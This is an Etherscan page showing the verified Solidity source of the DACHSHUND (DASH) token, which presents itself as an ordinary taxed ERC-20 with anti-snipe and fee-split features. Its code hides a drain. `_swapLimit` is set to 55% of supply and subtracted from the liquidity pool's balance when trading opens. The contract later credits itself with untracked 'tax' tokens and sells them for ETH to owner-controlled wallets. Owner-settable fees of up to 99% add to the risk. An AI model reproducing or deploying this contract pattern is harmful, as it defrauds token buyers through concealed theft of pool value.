ETH Price: $3,414.46 (-0.68%)
Gas: 6 Gwei

Token

DACHSHUND (DASH)
 

Overview

Max Total Supply

100,000,000 DASH

Holders

280

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: DASH 7
Balance
50,972,288.559835774 DASH

Value
$0.00
0xcda3d331eee54e5b2224270e40f24d96abd469d0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dash

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-07
*/

//SPDX-License-Identifier: MIT

/*
Telegram: https://t.me/DashERC20
Webpage: https://www.dashund.org
Twitter: twitter.com/Dash_ERC20
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣶⣶⣦⣀⣀⣀⣠⣶⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⢾⣿⣿⠟⠙⠧⢄⠀⡨⠛⢻⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⠟⣿⣡⣤⣤⣿⣼⠆⢠⣮⣦⣽⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣯⣿⠂⣿⠯⣍⣽⣿⠋⢀⣀⣙⡿⢻⡟⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣂⣿⣶⢻⣶⣁⣀⣸⣿⣿⣸⣼⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠿⢿⣿⣿⣿⣿⣟⢿⣿⣿⢿⠋⠹⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⢮⡃⠀⠹⡟⢻⣟⣿⠇⣸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣾⣿⣦⣀⣢⣿⣿⠃⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣯⣭⢻⡄⢀⣰⣿⣿⣿⣿⣿⣿⣯⡟⢻⣿⡷⡟⢃⡟⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠤⢺⢿⣿⠟⡙⡟⣿⣿⢿⣿⣯⠉⠿⣿⣿⣿⣿⣷⣿⣫⡷⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⡰⣋⡞⡁⢸⣿⡄⠙⣿⣿⣿⡂⠀⠀⠏⠿⣿⣿⣿⡿⠏⠐⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣞⣠⠤⠖⢋⡟⢏⠀⠜⣿⣿⠀⣜⢿⣿⣇⡆⠀⢠⠤⡈⣻⣏⠀⢠⣄⣼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⢈⡇⢶⣿⣿⣷⣤⡀⢹⣿⣷⡷⡗⠉⣶⣿⣷⣤⣸⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠸⢡⡾⣿⣿⣿⣿⣿⣿⡄⠹⣿⣥⣺⠿⠟⢸⣿⡿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⣰⣶⠏⢀⣼⣿⠿⠿⢻⣿⣇⢀⡷⠀⠀⠀⠀⢸⡿⠁⡜⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣹⠏⠁⠀⢿⣿⣿⠛⠛⠉⠁⣿⡊⢱⠀⠀⠀⠀⢸⡇⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⠋⠀⠀⠀⠈⢿⣿⡀⠀⠀⠀⢹⡿⠺⡄⠀⠀⠀⢸⡇⠈⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣶⣠⣾⠀⠀⠀⠀⠸⣿⣿⣶⠄⠀⢸⡥⠀⢧⠀⠀⠀⠈⡷⣄⠱⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⢀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠹⠿⠾⠿⠀⢀⣀⣀⣸⣼⠾⠿⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⠹⠒⠒⠒⠒⠉⠩⠵⢶⡤⣀⠀⠀⠀⠀⠀⠀⢀⢴⡮⠒⠋⠉⠉⠙⠒⠭⣦⡄⠀⠀⠀⣠⣶⠝⠒⠛⠉⠓⠓⠪⢕⢄⠀⠀⡏⠒⠒⡎⡆⠀⠀⠀⠀⠀⡎⠟⠛⠮⡇
⢸⠀⠀⢰⢂⠀⠒⣒⡦⢄⡈⠙⢕⢄⠀⠀⠀⢠⢿⠋⢀⢔⡩⠝⠛⠭⡲⡄⠈⡞⡀⠀⢠⢱⠁⢀⢔⡨⠭⠭⢔⢆⠀⢫⠇⠀⡇⡄⠀⡇⠀⠀⠀⠀⠀⠀⡇⡇⠀⠀⡇
⢸⠀⠀⢸⠈⠀⠀⠀⠉⠐⢍⢦⠈⢫⣇⠀⠀⣦⡇⠀⢸⡌⠀⠀⠀⠀⠹⢱⠀⢹⡇⠀⢸⢏⠀⢸⠘⠀⠀⠀⢸⢸⠀⢸⠀⠀⡇⡇⠀⡇⠀⠀⠀⠀⠀⠀⡇⡇⠀⡇⡇
⢸⢸⠀⠸⢠⠀⠀⠀⠀⠀⠀⢧⢣⠀⠏⡆⠀⠛⠉⣩⢅⣓⡶⠤⠤⢖⡲⢸⠀⢸⠁⠀⠘⡼⡀⠘⣟⣄⠀⠀⢊⣓⣀⣚⡄⠀⡇⡇⠀⡇⠀⠀⠀⠀⠀⠀⡇⡇⠀⡃⡇
⠸⣸⠀⠀⢸⠀⠀⠀⠀⠀⠀⠈⢸⠀⢸⢁⠀⢠⢾⠟⠁⡠⠄⣀⡀⠤⣈⠛⠀⢸⠀⠀⠀⠘⢝⢄⡈⠓⢵⡤⣀⠀⠀⠀⠀⠀⡇⡇⠀⣇⣀⣀⣀⣀⣀⣀⣃⠇⠀⣧⠀
⠀⣿⠀⠀⠸⠀⠀⠀⠀⠀⠀⠀⡆⠀⢸⢸⢀⣷⠃⢀⣎⠔⠉⠀⠀⠙⢎⣆⠀⢸⠀⠀⠀⠀⠈⠓⢽⡢⢄⡈⠓⢵⡦⡀⠀⠀⡇⡇⠀⡤⠤⠤⠤⠤⠤⠤⠤⠀⠀⣿⠀
⠀⣿⠀⠀⡏⠀⠀⠀⠀⠀⠀⠀⢳⠀⢸⠘⠸⠈⠀⠸⡈⠀⠀⠀⠀⠀⢸⡿⠀⢸⠀⠀⠀⣀⣀⣀⡀⠈⠒⢭⡢⡀⠙⢿⢆⠀⡇⡇⠀⡇⠃⠉⠀⠀⠉⠉⡄⠀⠀⣿⠀
⠀⣿⠀⠀⡇⠀⠀⠀⠀⠀⠀⣜⡏⠀⣎⡇⢠⠃⠀⢰⢁⠀⠀⠀⠀⠀⢸⡇⠀⢸⠀⠀⡎⡟⠒⢲⡓⠀⠀⠀⠱⡼⡄⠈⡾⡀⡇⡇⠀⡇⠀⠀⠀⠀⠀⠀⡇⠀⠀⣿⠀
⠀⣿⠀⠀⡇⠀⠀⠀⢀⣤⡪⠊⢀⢜⠜⠀⠘⡾⡄⠈⢟⢆⠀⠀⠀⠀⡸⡷⠀⢸⠀⠀⢇⡇⠀⢇⡇⠀⠀⠀⢀⢷⠃⠀⣧⠁⡇⠇⠀⡇⠀⠀⠀⠀⠀⠀⣇⠀⠀⡿⠀
⠀⣿⠀⠀⠧⠶⠮⠍⠒⠉⣠⠔⠋⠋⠀⠀⠀⠘⢜⢆⡀⠑⠪⠿⠾⠏⠊⣡⠀⠘⡴⡀⠘⣜⣄⠈⠪⠵⠶⠾⠕⠁⢀⣜⡜⢀⣇⠀⠀⡇⡇⠀⠀⠀⠀⠀⢹⠀⠀⡇⡇
⠀⠿⠷⣖⠒⠒⠒⠚⠉⠁⠂⠀⠀⠀⠀⠀⠀⠀⠈⠑⠮⣗⣒⣀⣐⣒⡯⢌⣒⡲⠾⠼⠀⠈⠢⢝⣒⡀⠀⠀⣐⡚⠁⠊⠀⠘⠼⠶⠶⠿⠃⠀⠀⠀⠀⠈⠾⠶⠶⠦⠃
*/


pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address __owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Auth {
    address internal _owner;
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); 
        _; 
    }
    function owner() public view returns (address) { 
        return _owner; 
    }
    function transferOwnership(address payable newOwner) external onlyOwner { 
        _owner = newOwner; 
        emit OwnershipTransferred(newOwner); 
    }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); 
        emit OwnershipTransferred(address(0)); 
    }
    event OwnershipTransferred(address _owner);
}

contract Dash is IERC20, Auth {
    uint8 private constant _decimals      = 9;
    uint256 private constant _totalSupply = 100_000_000 * (10**_decimals);
    string private constant _name         = "DACHSHUND";
    string private constant _symbol       = "DASH";

    uint8 private antiSnipeTax1 = 5;
    uint8 private antiSnipeTax2 = 4;
    uint8 private antiSnipeBlocks1 = 2;
    uint8 private antiSnipeBlocks2 = 2;
    uint256 private _antiMevBlock = 2;

    uint8 private _buyTaxRate  = 0;
    uint8 private _sellTaxRate = 3;

    uint16 private _taxSharesMarketing   = 7;
    uint16 private _taxSharesDevelopment = 3;
    uint16 private _taxSharesLP          = 0;
    uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesLP;

    address payable private _walletMarketing = payable(0x281DeC1FbFe93191B878236fe4E68433585B27Af); 
    address payable private _walletDevelopment = payable(0x22cDe3B03dC46425c73CDEBd020b22c66e072096); 

    uint256 private _launchBlock;
    uint256 private _maxTxAmount     = _totalSupply; 
    uint256 private _maxWalletAmount = _totalSupply;
    uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
    uint256 private _taxSwapMax = _totalSupply * 750 / 100000;
    uint256 private _swapLimit = _taxSwapMin * 55 * 100;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFees;
    mapping (address => bool) private _noLimits;

    address private _lpOwner;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);

    constructor() Auth(msg.sender) {
        _lpOwner = msg.sender;

        uint256 airdropAmount = _totalSupply * 5 / 100;
        
        _balances[address(this)] =  _totalSupply - airdropAmount;
        _balances[_owner] = airdropAmount;
        emit Transfer(address(0), address(this), _totalSupply);

        _noFees[_owner] = true;
        _noFees[address(this)] = true;
        _noFees[_swapRouterAddress] = true;
        _noFees[_walletMarketing] = true;
        _noFees[_walletDevelopment] = true;
        _noLimits[_owner] = true;
        _noLimits[address(this)] = true;
        _noLimits[_swapRouterAddress] = true;
        _noLimits[_walletMarketing] = true;
        _noLimits[_walletDevelopment] = true;
    }

    receive() external payable {}
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function enableTrading() external payable onlyOwner lockTaxSwap {
        require(_primaryLP != address(0), "Add LP first");
        require(!_tradingOpen, "trading is open");
        _openTrading();
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP exists");
        require(!_tradingOpen, "trading is open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
        require(_balances[address(this)]>0, "No tokens in contract");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance, false);
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
        address lpTokenRecipient = _lpOwner;
        if ( autoburn ) { lpTokenRecipient = address(0); }
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
    }

    function _openTrading() internal {
        _maxTxAmount     = _totalSupply * 1 / 100; 
        _maxWalletAmount = _totalSupply * 1 / 100;
        _tradingOpen = true;
        _launchBlock = block.number;
        _antiMevBlock = _antiMevBlock + _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2;
        _balances[_primaryLP] -= _swapLimit;
        (bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()"));
        _isLP[_primaryLP] = lpAddSuccess;
        require(_isLP[_primaryLP]);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");
        if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
        if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
        if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) {
            require(recipient == tx.origin, "MEV blocked");
        }
        if ( sender != address(this) && recipient != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); 
        }
        uint256 _taxAmount = _calculateTax(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] = _balances[sender] - amount;
        _swapLimit += _taxAmount;
        _balances[recipient] = _balances[recipient] + _transferAmount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) {
            if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
            else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address sender) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[sender] ) { 
            if ( block.number >= _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2 ) {
                taxAmount = amount * _buyTaxRate / 100; 
            } else if ( block.number >= _launchBlock + antiSnipeBlocks1 ) {
                taxAmount = amount * antiSnipeTax2 / 100;
            } else if ( block.number >= _launchBlock) {
                taxAmount = amount * antiSnipeTax1 / 100;
            }
        } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxRate / 100; 
        }

        return taxAmount;
    }


    function exemptFromFees(address wallet) external view returns (bool) {
        return _noFees[wallet];
    } 
    function exemptFromLimits(address wallet) external view returns (bool) {
        return _noLimits[wallet];
    } 
    function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); }
        _noFees[ wallet ] = noFees;
        _noLimits[ wallet ] = noLimits;
    }

    function buyFee() external view returns(uint8) {
        return _buyTaxRate;
    }
    function sellFee() external view returns(uint8) {
        return _sellTaxRate;
    }

    function feeSplit() external view returns (uint16 marketing, uint16 development, uint16 LP ) {
        return ( _taxSharesMarketing, _taxSharesDevelopment, _taxSharesLP);
    }
    function setFees(uint8 buy, uint8 sell) external onlyOwner {
        require(buy + sell <= 99, "Roundtrip too high");
        _buyTaxRate = buy;
        _sellTaxRate = sell;
    }  
    function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
        uint16 totalShares = sharesAutoLP + sharesMarketing + sharesDevelopment;
        require( totalShares > 0, "All cannot be 0");
        _taxSharesLP = sharesAutoLP;
        _taxSharesMarketing = sharesMarketing;
        _taxSharesDevelopment = sharesDevelopment;
        _totalTaxShares = totalShares;
    }

    function marketingWallet() external view returns (address) {
        return _walletMarketing;
    }
    function developmentWallet() external view returns (address) {
        return _walletDevelopment;
    }

    function updateWallets(address marketing, address development, address LPtokens) external onlyOwner {
        require(!_isLP[marketing] && !_isLP[development] && !_isLP[LPtokens], "LP cannot be tax wallet");
        
        _walletMarketing = payable(marketing);
        _walletDevelopment = payable(development);
        _lpOwner = LPtokens;
        
        _noFees[marketing] = true;
        _noLimits[marketing] = true;
        
        _noFees[development] = true;        
        _noLimits[development] = true;
    }

    function maxWallet() external view returns (uint256) {
        return _maxWalletAmount;
    }
    function maxTransaction() external view returns (uint256) {
        return _maxTxAmount;
    }

    function swapAtMin() external view returns (uint256) {
        return _taxSwapMin;
    }
    function swapAtMax() external view returns (uint256) {
        return _taxSwapMax;
    }

    function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1;
        require(newTxAmt >= _maxTxAmount, "tx too low");
        _maxTxAmount = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletAmount, "wallet too low");
        _maxWalletAmount = newWalletAmt;
    }

    function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
        _taxSwapMin = _totalSupply * minValue / minDivider;
        _taxSwapMax = _totalSupply * maxValue / maxDivider;
        require(_taxSwapMax>=_taxSwapMin, "Min/Max error");
        require(_taxSwapMax>_totalSupply / 100000, "Max too low");
        require(_taxSwapMax<_totalSupply / 100, "Max too high");
    }

    function _burnTokens(address fromWallet, uint256 amount) private {
        if ( amount > 0 ) {
            _balances[fromWallet] -= amount;
            _balances[address(0)] += amount;
            emit Transfer(fromWallet, address(0), amount);
        }
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = _swapLimit;
        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
            uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2;
            
            uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
            if( _tokensToSwap > 10**_decimals ) {
                uint256 _ethPreSwap = address(this).balance;
                _balances[address(this)] += _taxTokensAvailable;
                _swapTaxTokensForEth(_tokensToSwap);
                _swapLimit -= _taxTokensAvailable;
                uint256 _ethSwapped = address(this).balance - _ethPreSwap;
                if ( _taxSharesLP > 0 ) {
                    uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ;
                    _approveRouter(_tokensForLP);
                    _addLiquidity(_tokensForLP, _ethWeiAmount, false);
                }
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _primarySwapRouter.WETH();
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        uint16 _taxShareTotal = _taxSharesMarketing + _taxSharesDevelopment;
        if (_taxShareTotal > 0) {
            uint256 marketingAmount = amount * _taxSharesMarketing / _taxShareTotal;
            uint256 developmentAmount = amount * _taxSharesDevelopment / _taxShareTotal;
            if ( marketingAmount > 0 ) { _walletMarketing.transfer(marketingAmount); }
            if ( developmentAmount > 0 ) { _walletDevelopment.transfer(developmentAmount); }
        }
    }

    function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
        require(swapTokenPercent <= 100, "Cannot swap more than 100%");
        uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100;
        if (tokensToSwap > 10 ** _decimals) {
            _swapTaxTokensForEth(tokensToSwap);
        }
        if (sendEth) { 
            uint256 ethBalance = address(this).balance;
            require(ethBalance > 0, "No ETH");
            _distributeTaxEth(address(this).balance); 
        }
    }

    function burn(uint256 amount) external {
        uint256 _tokensAvailable = balanceOf(msg.sender);
        require(amount <= _tokensAvailable, "balance too low");
        _burnTokens(msg.sender, amount);
        emit TokensBurned(msg.sender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedByWallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSplit","outputs":[{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"development","type":"uint16"},{"internalType":"uint16","name":"LP","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalTy